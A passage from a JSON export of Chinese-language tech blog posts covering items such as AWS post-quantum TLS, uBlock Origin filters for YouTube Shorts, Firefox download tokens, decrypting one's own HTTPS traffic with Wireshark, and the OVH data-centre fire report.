    "body": "<a href=\"https://news.ycombinator.com/item?id=30699829\">Hacker News</a> 首頁上看到的專案：「<a href=\"http://libmill.org/\">Libmill is a library that introduces Go-style concurrency to C.</a>」。\r\n\r\n使用上的設計可以看到就是用 <a href=\"https://go.dev/\">Golang</a> 裡面的設計，另外在網頁下方也有提到「<a href=\"http://libdill.org/\">libdill: Structured Concurrency for C</a>」，就不是用 Golang 的設計，但是有同樣的功能性...\r\n\r\n兩者都是 <a href=\"https://en.wikipedia.org/wiki/MIT_License\">MIT/X11 license</a>，大多數的專案用起來應該沒什麼問題，底層應該都是用 <a href=\"https://en.wikipedia.org/wiki/Select_(Unix)\">select()</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Poll_(Unix)\">poll()</a> 來實做就是了？",
    "title": "Libmill：在 C 裡面仿造 Go 的 concurrency 架構"
  },
  {
    "id": "10602",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/kms/\">AWS KMS</a> 與 <a href=\"https://aws.amazon.com/certificate-manager/\">AWS ACM</a> 支援 post-quantum TLS ciphers：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2022/03/aws-kms-acm-support-latest-hybrid-post-quantum-tls-ciphers/\">AWS KMS and ACM now support the latest hybrid post-quantum TLS ciphers</a>」。\r\n\r\n全區支援 <a href=\"https://en.wikipedia.org/wiki/Kyber\">Kyber</a>、BIKE 與 <a href=\"https://en.wikipedia.org/wiki/Supersingular_isogeny_key_exchange\">SIKE</a> 這三個演算法：\r\n\r\n<blockquote>The three PQC key encapsulation mechanisms (KEMs) offered are Kyber, BIKE, and SIKE. Hybrid post-quantum TLS combines a classical key agreement, such as ECDHE, with one of these KEMs. The result is that your TLS connections inherit the security properties of both the classical and post-quantum key exchanges.\r\n\r\nHybrid post-quantum TLS for AWS KMS and ACM is available in all public AWS Regions.</blockquote>\r\n\r\n不過這是 <a href=\"https://en.wikipedia.org/wiki/NIST_Post-Quantum_Cryptography_Standardization\">NIST Post-Quantum Cryptography Standardization</a> 裡 Round 3 裡面其中幾個演算法而已：\r\n\r\n<blockquote>AWS Key Management Service (KMS) and AWS Certificate Manager (ACM) now support hybrid post-quantum key establishment for transport layer security (SSL/TLS) connections using the latest post-quantum ciphers from Round 3 of the NIST Post-Quantum Cryptography (PQC) selection process.</blockquote>\r\n\r\n順便補一下隔壁棚 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的研究：「<a href=\"https://blog.cloudflare.com/making-protocols-post-quantum/\">Making protocols post-quantum</a>」。",
    "title": "AWS KMS 與 AWS ACM 支援 post-quantum TLS ciphers"
  },
  {
    "id": "10603",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的最新列表上面看到的演算法，用來計算圓周率 <a href=\"https://en.wikipedia.org/wiki/Pi\">π</a> 的公式：「<a href=\"https://en.wikipedia.org/wiki/Bellard%27s_formula\">Bellard's formula</a>」。\r\n\r\n[latex]\\pi = \\frac1{2^6} \\sum_{n=0}^\\infty \\frac{(-1)^n}{2^{10n}} \\, ( -\\frac{2^5}{4n+1} - \\frac1{4n+3} + \\frac{2^8}{10n+1} - \\frac{2^6}{10n+3} - \\frac{2^2}{10n+5} - \\frac{2^2}{10n+7} + \\frac1{10n+9} )[/latex]\r\n\r\n這個公式特別的地方在於 [latex]\\frac{1}{2^{10n}}[/latex] 的部份，這使得整個公式可以很迅速的算出某個二進制位置上的值 (要做一些條件判斷，相較於十進制轉二進制的方式快多了)，而且可以馬上想到一些平行運算的方式...\r\n\r\n另外一個讓我注意到的點是，這居然是 <a href=\"https://en.wikipedia.org/wiki/Fabrice_Bellard\">Fabrice Bellard</a> 丟出來的公式，真的是到處看到他的蹤跡耶...",
    "title": "在電腦上計算二進制圓周率 π 的公式"
  },
  {
    "id": "10604",
    "body": "昨天在「<a href=\"https://awsugtw.kktix.cc/events/awsug-202203\">AWS User Group Taiwan Meetup 2022-03 線上 / 下小聚</a>」這邊分享的主題，在講如何在 <a href=\"https://aws.amazon.com/\">AWS</a> 上弄出一個高可靠性的 <a href=\"https://www.vaultproject.io/\">Vault</a> 服務。\r\n\r\n投影片在 <a href=\"https://bit.ly/3igUbgh\">https://bit.ly/3igUbgh</a> 這邊可以抓到，我另外傳到 <a href=\"https://speakerdeck.com/\">Speaker Deck</a> 上面了：(好久沒用這個網站了？)\r\n\r\n<iframe class=\"speakerdeck-iframe\" frameborder=\"0\" src=\"https://speakerdeck.com/player/eeec9d6bcbdb44aab7d6afb58f054805\" title=\"High Availability Vault Service on AWS Environment\" allowfullscreen=\"true\" mozallowfullscreen=\"true\" webkitallowfullscreen=\"true\" style=\"border: 0px; background: padding-box padding-box rgba(0, 0, 0, 0.1); margin: 0px; padding: 0px; border-radius: 6px; box-shadow: rgba(0, 0, 0, 0.2) 0px 5px 40px; width: 560px; height: 315px;\" data-ratio=\"1.7777777777777777\"></iframe>\r\n\r\n其實這類架構的設計有點像是 AWS 的 Solution Architect 在做的事情，如果一般的客戶開出類似的需求，應該也是會設計出類似的東西...\r\n\r\n另外畢竟是在 AWS 的會議室裡面講，有些東西還是會避免提到，但裡面有很多概念是可以互換的，像是 <a href=\"https://azure.microsoft.com/\">Microsoft Azure</a> 或是 <a href=\"https://cloud.google.com/\">GCP</a> 上面都有可以抽換的服務，Vault 也都有支援。",
    "title": "昨天在 AWS User Group Taiwan 上分享的「High Availability Vault Service on AWS Environment」"
  },
  {
    "id": "10606",
    "body": "先拔掉 <a href=\"https://www.youtube.com/\">YouTube</a> 訂閱頁裡面的 shorts 連結：\r\n\r\n<pre>www.youtube.com##:matches-path(/feed/subscriptions) ytd-grid-video-renderer:has(a[href^=\"/shorts\"])</pre>\r\n\r\n再來拔掉首頁左邊出現的 shorts 分類連結：\r\n\r\n<pre>www.youtube.com##ytd-mini-guide-entry-renderer:has(a[title=\"Shorts\"])</pre>\r\n\r\n必須說 <a href=\"https://github.com/gorhill/uBlock/wiki/Procedural-cosmetic-filters#subjecthasarg\">:has()</a> 真的是很好用...",
    "title": "用 uBlock Origin 的自訂條件把 YouTube 的 Shorts 都拔掉"
  },
  {
    "id": "10608",
    "body": "是一篇 2017 年的文章，前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上重新被提出來：「<a href=\"https://news.ycombinator.com/item?id=30721728\">The Line of Death (2017) (textslashplain.com)</a>」。\r\n\r\n文章開頭在講瀏覽器 UI 的信任區，這條線以上是 native UI，以下是網站可以任意操控的內容：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HzyU0Ag.webp\" /><img src=\"https://i.gslin.com/imgur/HzyU0Ag.png\" alt=\"\" /></picture>\r\n\r\n所以 UI 上面有些小細節讓你區分，但這其實對不是專精 <a href=\"https://en.wikipedia.org/wiki/Phishing\">phishing</a> 的人很不友善：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oe0GfWT.webp\" /><img src=\"https://i.gslin.com/imgur/oe0GfWT.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/shgzshJ.webp\" /><img src=\"https://i.gslin.com/imgur/shgzshJ.png\" alt=\"\" /></picture>\r\n\r\n另外當然就會提到 browser-in-a-browser (以及 picture-in-picture) 類的 phishing 了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OazHI6f.webp\" /><img src=\"https://i.gslin.com/imgur/OazHI6f.png\" alt=\"\" /></picture>\r\n\r\n另外提到了 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Fullscreen_API\">Fullscreen API</a>，這使得信任區間變成 0：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wXPVGAG.webp\" /><img src=\"https://i.gslin.com/imgur/wXPVGAG.png\" alt=\"\" /></picture>\r\n\r\n提到 Fullscreen API 所以就去翻資料，意外發現 <a href=\"https://en.wikipedia.org/wiki/Internet_Explorer_11\">IE11</a> 居然支援這組 API，雖然是帶 <code>ms</code> 的 prefix，而且不支援一些輔助性的功能 (像是傳回 <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise\">Promise object</a>)。\r\n\r\n這些 UI 與 security 類的問題，主要還是得考慮到使用者未必那麼熟悉，以及就算有經驗的人也很有可能不小心中獎...",
    "title": "網頁的死亡線"
  },
  {
    "id": "10609",
    "body": "前天看到「<a href=\"https://www.ghacks.net/2022/03/17/each-firefox-download-has-a-unique-identifier/\">Each Firefox download has a unique identifier</a>」這篇報導，就順手貼到 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上面了：「<a href=\"https://news.ycombinator.com/item?id=30715163\">Each Firefox download has a unique identifier (ghacks.net)</a>」。\r\n\r\n簡單的說就是 <a href=\"https://www.mozilla.org/\">Mozilla</a> 在 Firefox 的 binary 裡面加上 download token，後續就可以追蹤使用者：「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1677497\">[meta] Support download token</a>」。\r\n\r\n依照報導所提到的，每次下載 binary 都會有不同的 token：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Z94lA3g.webp\" /><img src=\"https://i.gslin.com/imgur/Z94lA3g.png\" alt=\"\" /></picture>\r\n\r\n在「<a href=\"https://bug1677497.bmoattachments.org/attachment.cgi?id=9195911\">Attached file dltoken_data_review.md — Details</a>」裡面有回答更多細節，像是跟 <a href=\"https://en.wikipedia.org/wiki/Google_Analytics\">Google Analytics</a> 綁定：\r\n\r\n<pre>\r\n5) List all proposed measurements and indicate the category of data collection for each measurement, using the [Firefox data collection categories](https://wiki.mozilla.org/Firefox/Data_Collection) found on the Mozilla wiki.   \r\n\r\n&lt;table&gt;\r\n  &lt;tr&gt;\r\n    &lt;td>Measurement Description&lt;/td&gt;\r\n    &lt;td>Data Collection Category&lt;/td&gt;\r\n    &lt;td>Tracking Bug #&lt;/td&gt;\r\n  &lt;/tr&gt;\r\n  &lt;tr&gt;\r\n    &lt;td>A download token that uniquely corresponds to a Google Analytics ID&lt;/td&gt;\r\n    &lt;td>Category 4 \"Highly sensitive or clearly identifiable personal data\"&lt;/td&gt;\r\n    &lt;td>Bug 1677497&lt;/td&gt;\r\n  &lt;/tr&gt;\r\n&lt;/table&gt;\r\n</pre>\r\n\r\n我自己重製不出來 (都是被導去 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a>)，但留言區裡面的 Yuliya 透過 <a href=\"https://www.torproject.org/\">Tor</a> 有重製出來：\r\n\r\n<blockquote>I have tried some TOR exit nodes:\r\n\r\nName: Firefox Setup 98.0.1_germany.exe\r\nSize: 55528896 bytes (52 MiB)\r\nSHA256: 2d8164d547d8a0b02f2677c05e21a027dc625c0c1375fd34667b7d039746d400\r\nSHA1: 71302acbee6895b84cf0dfae99050926f2db59ef\r\n\r\nName: Firefox Setup 98.0.1_austria.exe\r\nSize: 55528896 bytes (52 MiB)\r\nSHA256: a139a45dd5737ab981068ca2596b7fdfde15e5d4bc8541e0a2f07a65defd3e4e\r\nSHA1: 28630a0aababa162ca9e7cbca51e50b76b9c3cff\r\n\r\nI have labeled the file for the corresponding country of the exit node.</blockquote>\r\n\r\n如果不願意換到 <a href=\"https://www.chromium.org/\">Chromium</a>-based 的方案，目前在討論裡看到的替代方案是 <a href=\"https://librewolf.net/\">LibreWolf</a>，昨天裝起來後發現還行，應該也可以測試看看...",
    "title": "從 Mozilla 官網下載的 Firefox 帶有追蹤用的標籤"
  },
  {
    "id": "10611",
    "body": "昨天在噗浪上看到這則：「<a href=\"https://www.plurk.com/p/os7iev\">金石堂的google搜尋推薦第一位是詐騙網站</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9F6zMq0.webp\" /><img src=\"https://i.gslin.com/imgur/9F6zMq0.png\" alt=\"\" /></picture>\r\n\r\n這邊一直在推廣 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a>，在主要的幾個瀏覽器上都有支援：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QMbyihh.webp\" /><img src=\"https://i.gslin.com/imgur/QMbyihh.png\" alt=\"\" /></picture>\r\n\r\n從上面那則噗裡的討論可以看到，把一個檢舉掉了，過幾個小時候另外一個還是會冒出來...",
    "title": "裝 uBlock Origin 擋詐騙廣告：金石堂"
  },
  {
    "id": "10612",
    "body": "<a href=\"https://www.tumblr.com/\">Tumblr</a> 推出 US$4.99/mo 的 ad-free plan：「<a href=\"https://staff.tumblr.com/post/678987898366918656/you-requested-we-listened-you-can-now-sign-up\">This is 100% new and 100% Tumblr with 0% ads.</a>」。\r\n\r\n但我的想法還是偏好上一篇提到的 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a>：「<a href=\"https://blog.gslin.org/archives/2022/03/20/10611/%e8%a3%9d-ublock-origin-%e6%93%8b%e8%a9%90%e9%a8%99%e5%bb%a3%e5%91%8a%ef%bc%9a%e9%87%91%e7%9f%b3%e5%a0%82/\">裝 uBlock Origin 擋詐騙廣告：金石堂</a>」。",
    "title": "Tumblr 推出 US$4.99/mo 的無廣告方案"
  },
  {
    "id": "10613",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上爬到的，是一篇 2019 的文章：「<a href=\"https://news.ycombinator.com/item?id=30735871\">When Double Precision Is Not Enough (adambaskerville.github.io)</a>」，原文在「<a href=\"https://adambaskerville.github.io/posts/LespEigenvalues/\">T&gt;T: When Double Precision is Not Enough</a>」。\r\n\r\n作者是拿矩陣 (matrix) 的運算當例子，遇到了 double precision 造成的計算誤差問題：\r\n\r\n<blockquote>There is no error with the program; this discrepancy is caused by a loss of numerical accuracy in the eigenvalue calculation due to the limitation of hardware double precision (16-digit).</blockquote>\r\n\r\n解法是用 <a href=\"https://mpmath.org/\">mpmath</a> 增加精度，算是一種暴力解，到要注意計算會慢很多：\r\n\r\n<blockquote>Note that this library is incredibly slow for large matrices, so is best avoided for most applications.</blockquote>\r\n\r\n另外在 Hacker News 的討論串裡面看到個有趣的東西：「<a href=\"https://herbie.uwplse.org/\">Herbie: Automatically Improving Floating Point Accuracy</a>」這個專案，你把公式丟進去，Herbie 會試著提供等價公式來維持精度，像是 [latex]\\sqrt{x+1} - \\sqrt{x} = 1 / ( \\sqrt{x+1} + \\sqrt{x} )[/latex] 這種東西。\r\n\r\n半自動化幫你改善...",
    "title": "Python 裡使用超過 Double Precision 的運算"
  },
  {
    "id": "10614",
    "body": "因為工作的關係，所以會關注一些特殊的硬體，但好像暫時找不到地方放，就丟在 blog 上面記錄好了...\r\n\r\n這次看到的是支援一堆 <a href=\"https://en.wikipedia.org/wiki/Power_over_Ethernet\">PoE+</a> 的機器：「<a href=\"https://linuxgizmos.com/tiger-lake-u-system-features-dual-2-5gbe-and-six-poe-ports/\">Tiger Lake-U system features dual 2.5GbE and six PoE+ ports</a>」。\r\n\r\n除了 PoE+ 以外另外有 <a href=\"https://en.wikipedia.org/wiki/mSATA\">mSATA</a> 與 <a href=\"https://en.wikipedia.org/wiki/Serial_ATA\">SATA</a> 支援，然後還有一堆 <a href=\"https://en.wikipedia.org/wiki/M.2\">M.2</a> 的界面可以接 (好像是走 <a href=\"https://en.wikipedia.org/wiki/PCIe\">PCIe</a>)：\r\n\r\n<blockquote>Lanner’s “IIoT-I530” embedded PC runs Linux on an 11th Gen U-series CPU and supplies with up to 64GB RAM, 2x 2.5GbE, 6x PoE+, 2x COM, 4x USB 3.0, 2x HDMI, 3x M.2, SATA, mSATA, and DIO.</blockquote>",
    "title": "立端科技的 IIoT-I530"
  },
  {
    "id": "10615",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 預定要推出 SSH command logging 功能：「<a href=\"https://blog.cloudflare.com/ssh-command-logging/\">Introducing SSH command logging</a>」。\r\n\r\n看起來是 <a href=\"https://www.cloudflare.com/products/zero-trust/\">Cloudflare Zero Trust</a> 產品線：\r\n\r\n<blockquote>We’re excited to announce SSH command logging as part of Cloudflare Zero Trust.</blockquote>\r\n\r\n翻了 Zero Trust 的 Pricing 資訊，Free Plan 看起來是 50 users 以下不用錢，但不確定這個功能會被放到 Core Features 內還是會被放到另外要收費的部份。\r\n\r\n早在 <a href=\"https://aws.amazon.com/\">AWS</a> 在 2016 年的時候有用 <a href=\"https://en.wikipedia.org/wiki/Script_(Unix)\">script</a> 整合了一個方案出來，裡面提到的方法不限於 AWS 上才能用：「<a href=\"https://aws.amazon.com/blogs/security/how-to-record-ssh-sessions-established-through-a-bastion-host/\">How to Record SSH Sessions Established Through a Bastion Host</a>」。\r\n\r\n翻了一下 open source 專案，看起來有一些 open source 方案可以用：\r\n\r\n<ul>\r\n\t<li><a href=\"https://github.com/gravitational/teleport\">Teleport</a>，有商用支援與 open source 版本。</li>\r\n\t<li><a href=\"https://cloudposse.com/\">Cloud posse</a> 的 <a href=\"https://github.com/cloudposse/bastion\">bastion</a> (看起來有點怪怪的)。</li>\r\n\t<li><a href=\"https://www.netflix.com/\">Netflix</a> 的 <a href=\"https://github.com/Netflix/bless\">BLESS</a> (標 Archived，另外好像沒有 recording 的能力)。</li>\r\n\t<li><a href=\"https://github.com/iamacarpet/ssh-bastion\">iamacarpet/ssh-bastion</a> (有好幾年沒新的 commit 活動了)。</li>\r\n</ul>\r\n\r\n另外這個需求在資安要求比較高的行業算是很常見，非 open source 的方案就有不少，先隨便抓兩個：\r\n\r\n<ul>\r\n\t<li><a href=\"https://www.cyberark.com/\">Cyberark</a> 的 PSM for SSH：「<a href=\"https://www.cyberark.com/press/cyberark-launches-new-solution-securing-auditing-privileged-accounts-unix-based-systems/\">CyberArk Launches New Solution for Securing and Auditing Privileged Accounts on UNIX-based Systems</a>」</li>\r\n\t<li><a href=\"https://www.admod.com/\">Admod</a> 的 <a href=\"https://www.ezeelogin.com/\">ezeelogin</a> (不是 open source)。</li>\r\n</ul>",
    "title": "Cloudflare 預定推出 SSH command logging 功能"
  },
  {
    "id": "10617",
    "body": "目前都是用 <a href=\"https://kagi.com/\">Kagi</a> 當作預設的搜尋引擎，然後 Kagi 習慣每個禮拜會給一個 Changelog... 而這個禮拜的 Changelog 是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yNDTqFg.webp\" /><img src=\"https://i.gslin.com/imgur/yNDTqFg.png\" alt=\"\" /></picture>\r\n\r\n我好像看到了什麼不得了的東西：\r\n\r\n<blockquote>Searching for emacs redirects to vi <a href=\"https://kagifeedback.org/d/327\">#327</a> @yjp20</blockquote>\r\n\r\n然後 bug report 裡面提到了他會在搜尋 <a href=\"https://en.wikipedia.org/wiki/Emacs\">Emacs</a> 時提示 <a href=\"https://en.wikipedia.org/wiki/Vi\">Vi</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bUTyt7W.webp\" /><img src=\"https://i.gslin.com/imgur/bUTyt7W.png\" alt=\"\" /></picture>\r\n\r\n然後搜尋 Vi 時提示 Emacs：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XSeR9Tq.webp\" /><img src=\"https://i.gslin.com/imgur/XSeR9Tq.png\" alt=\"\" /></picture>\r\n\r\n這是想要掀起什麼宗教戰爭嗎 XDDD",
    "title": "Kagi 的宗教戰爭：Emacs 與 Vi"
  },
  {
    "id": "10618",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到兩則 <a href=\"https://en.wikipedia.org/wiki/C_(programming_language)\">C</a> 語言的笑話：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">a lot of people don&#39;t know this - C actually lets you do arithmetic with mixed types, much like JavaScript: <a href=\"https://t.co/6XF4qm41xv\">pic.twitter.com/6XF4qm41xv</a></p>&mdash; luna ? (@lunasorcery) <a href=\"https://twitter.com/lunasorcery/status/1504893095661424644?ref_src=twsrc%5Etfw\">March 18, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">This also works for exponents: <a href=\"https://t.co/LYBf2qkseO\">pic.twitter.com/LYBf2qkseO</a></p>&mdash; luna ? (@lunasorcery) <a href=\"https://twitter.com/lunasorcery/status/1504900067098046464?ref_src=twsrc%5Etfw\">March 18, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n第一個的 <code>\"-0.5\"</code> 是 <code>char[]</code>，補了 <code>+ 1</code> 會往後一格，所以會變成移到 <code>\"0.5\"</code> 的部份。\r\n\r\n所以如果改成 <code>-0.6</code>，你會發現輸出變成 <code>0.6</code>。 \r\n\r\n第二個的 <code>50 ** \"2\"</code> 則是利用了 <code>2</code> 的 ascii code 是 0x32，換成十進制剛好是 50，然後中間的 <code>**</code> 其實是一個乘號與一個 pointer 的用法，實際上剛好會是 50*50=2500 的運算。\r\n\r\n如果你改成 <code>\"3\"</code> 的話會輸出 <code>2550</code>。\r\n\r\n作者在 Twitter 的後續有提到，這些都是特別挑過的數字所造成的「巧合」，你換掉這些數字的話通常會爛掉 \r\n(除非你也很精心挑過)，不要誤解亂用 XDDD\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">To clarify:<br>Both of these are joke posts. C doesn’t actually do either of these things in the general case - I’m (mis)using other features of the language with carefully chosen numbers to make it seem like it works.</p>&mdash; luna ? (@lunasorcery) <a href=\"https://twitter.com/lunasorcery/status/1505133348070608898?ref_src=twsrc%5Etfw\">March 19, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "C 語言的兩個笑話 (以及他的惡搞原理)"
  },
  {
    "id": "10619",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://www.trickster.dev/post/decrypting-your-own-https-traffic-with-wireshark/\">Decrypting your own HTTPS traffic with Wireshark</a>」這篇，就是用 <code>SSLKEYLOGFILE</code> 請 library 把 TLS 相關的 key 與 random number 寫到檔案裡面讓 <a href=\"https://www.wireshark.org/\">Wireshark</a> 可以解讀拿來用。對應的討論在「<a href=\"https://news.ycombinator.com/item?id=30743141\">Decrypting your own HTTPS traffic with Wireshark (trickster.dev)</a>」這邊。\r\n\r\n看起 <a href=\"https://www.openssl.org/\">OpenSSL</a> 系列的 library 都有支援這個變數，另外 <a href=\"https://en.wikipedia.org/wiki/Network_Security_Services\">NSS</a> 也支援這個變數，所以常見的程式應該都包含在內了...\r\n\r\n比起 <a href=\"https://en.wikipedia.org/wiki/Man-in-the-middle_attack\">MITMA</a> 類的方式 (像是 <a href=\"https://mitmproxy.org/\">mitmproxy</a>)，這個方式會更接近真實的情境，不另外產生 CA 與 key，不過缺點就是使用的情境就再受限一些，算是除了 MITMA 類方式的另外一個方案...",
    "title": "截聽本機的 HTTPS 內容"
  },
  {
    "id": "10620",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 宣佈增加了一堆 PoP：「<a href=\"https://blog.cloudflare.com/mid-2022-new-cities/\">New cities on the Cloudflare global network: March 2022 edition</a>」。\r\n\r\n日本在這波加了兩個：\r\n\r\n<ul>\r\n\t<li>Fukuoka, Japan</li>\r\n\t<li>Naha, Japan</li>\r\n</ul>\r\n\r\n福岡不算太意外，畢竟東京與大阪都已經有 PoP 了，以距離來說，開在福岡算是去吃九州的人口，而且以流量來說應該也夠大，是可以投資的點。\r\n\r\n而沖繩那霸就真的比較意外了，如果要猜的話，也許就是談福岡的時候順便一起談？",
    "title": "Cloudflare 在那霸設點"
  },
  {
    "id": "10621",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=30749134\">Please put units in names (ruudvanasseldonk.com)</a>」這邊的討論，看到的時候已經超過 900 點了 (好像還在急遽成長)，算是爆紅狀態，可以感覺到超多 developer 們的怒氣 XDDD\r\n\r\n原文在「<a href=\"https://ruudvanasseldonk.com/2022/03/20/please-put-units-in-names\">Please put units in names</a>」這篇，在講參數的命名要加上單位，尤其是時間相關的參數。\r\n\r\n時間相關的參數根本沒有共識，你不查資料不會知道是 ns、ms 還是 seconds，所以就會出現象在這三個程式語言跑出來的時間是不一樣的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GVGeBNr.webp\" /><img src=\"https://i.gslin.com/imgur/GVGeBNr.png\" alt=\"\" /></picture>\r\n\r\n然後你就翻桌了 XDDD",
    "title": "要求參數名稱要加上單位的請願"
  },
  {
    "id": "10622",
    "body": "<a href=\"https://www.akamai.com/\">Akamai</a> 把自家的 shared domains 申請加入 PSL (<a href=\"https://en.wikipedia.org/wiki/Public_Suffix_List\">Public Suffix List</a>)：「<a href=\"https://www.akamai.com/blog/developers/adding-akamai-shared-domains-to-the-public-suffix-list\">Adding Akamai Shared Domains to the Public Suffix List</a>」。\r\n\r\n提到 PSL，常被拿來舉例的應該就是 <a href=\"https://en.wikipedia.org/wiki/Supercookie\">supercookie</a> 了，也就是把 cookie 的有效網域設到 <code>.com</code> 或是 <code>.org</code> 這種 <a href=\"https://en.wikipedia.org/wiki/Top-level_domain\">top level domain</a>，這樣就可以跨很多站台追蹤使用者了 (所以被稱為 supercookie)，而 PSL 則可以被拿來限制這些網域名稱。\r\n\r\n而在 Akamai 的例子來說，<code>edgekey.net</code> 下面的使用者都會共用 cookie，對於安全與隱私的考量其實不太好。這次把這些網域加到 PSL 之後，變成 <code>edgekey.net</code> 這層無法設定 cookie，而 <code>one.edgekey.net</code> 與 <code>two.edgekey.net</code> 各自有自己的 cookie namespace，這樣就好一些了...\r\n\r\n順帶一提，除了瀏覽器會引入 PSL 來過濾外，使用者端可以靠 <a href=\"https://privacybadger.org/\">Privacy Badge</a> 來過濾掉這類的 cookie，因為 Privacy Badge 會針對這類網域清掉 cookie 再送出 HTTP request。\r\n\r\nAkamai 的文章裡面也有提到這件事情：\r\n\r\n<blockquote>The PSL contains multi-party domain suffixes and is used by a wide range of client software (for example, web browsers) to implement policy decisions, such as to prevent cookies from being set on public or multi-party domains.</blockquote>",
    "title": "Akamai Shared Domains 加入 PSL (Public Suffix List)"
  },
  {
    "id": "10623",
    "body": "去年三月在「<a href=\"https://blog.gslin.org/archives/2021/03/11/10058/ovh-%E6%B3%95%E5%9C%8B%E6%A9%9F%E6%88%BF-sbg2-%E7%81%AB%E7%81%BD%E5%85%A8%E6%AF%80/\">OVH 法國機房 SBG2 火災全毀</a>」這邊有提到 <a href=\"https://www.ovh.com/\">OVH</a> 的機房大火事件，最近有些情況總算被揭露出來了。\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://www.datacenterdynamics.com/en/news/ovhcloud-fire-report-sbg2-data-center-had-wooden-ceilings-no-extinguisher-and-no-power-cut-out/\">OVHcloud fire report: SBG2 data center had wooden ceilings, no extinguisher, and no power cut-out</a>」這篇這個月月初的報導，裡面題到了一些情形。另外對應的討論在「<a href=\"https://news.ycombinator.com/item?id=30763945\">OVHcloud fire: SBG2 data center had no extinguisher, no power cut-out (datacenterdynamics.com)</a>」這邊可以看到。\r\n\r\n其中一個是在講消防隊花了三個小時才把電力切斷，因為電力室外面有非常強力的電弧：\r\n\r\n<blockquote>According to the report firefighters on the scene found electrical arcs more than one meter long flashing around the door to the power room, and it took three hours to cut off the power supply because there was no universal cut-off.</blockquote>\r\n\r\n另外電力室本身的設計也不利於防火 (木造天花板？)，而且電力管道也沒有隔離：\r\n\r\n<blockquote>The power room had a wooden ceiling designed to withstand fire for one hour, and the electrical ducts were not insulated.</blockquote>\r\n\r\n另外因為節能的設計，他們設計了多個通道讓外部的空氣容易進入 data center 交換熱量，但這也導致了火苗很不容易熄滅：\r\n\r\n<blockquote>Once the fire escaped from the power room, it grew rapidly. The report says that \"the two interior courtyards acted as fire chimneys\". JDN claims the spread of fire may have been accelerated by the site's free cooling design, which is designed to encourage the flow of outside air through the building to cool the servers.</blockquote>\r\n\r\nOVH 目前因為訴訟的關係，基本上都是拒絕評論...",
    "title": "去年 OVH 機房大火的部份情形最近被揭露"
  },
  {
    "id": "10626",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 把 <code>db.t3.micro</code> 與 <code>db.t4g.micro</code> 都放進 free tier 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2022/03/amazon-rds-free-tier-dbt3micro-graviton2-based-instances/\">Amazon RDS Free Tier now includes db.t3.micro, AWS Graviton2-based db.t4g.micro instances in all commercial regions</a>」。\r\n\r\n<blockquote>Customers new to AWS in the past 12 months and who were in regions where db.t2.micro was not available can now create free tier db.t3.micro or db.t4g.micro instances for the remainder of their first 12 months.</blockquote>\r\n\r\n看說明是註冊的 12 個月內有這個方案可以用，可以拿來跑一些小東西...",
    "title": "Amazon RDS 的 Free Tier 方案包含了 db.t3.micro 與 db.t4g.micro"
  },
  {
    "id": "10629",
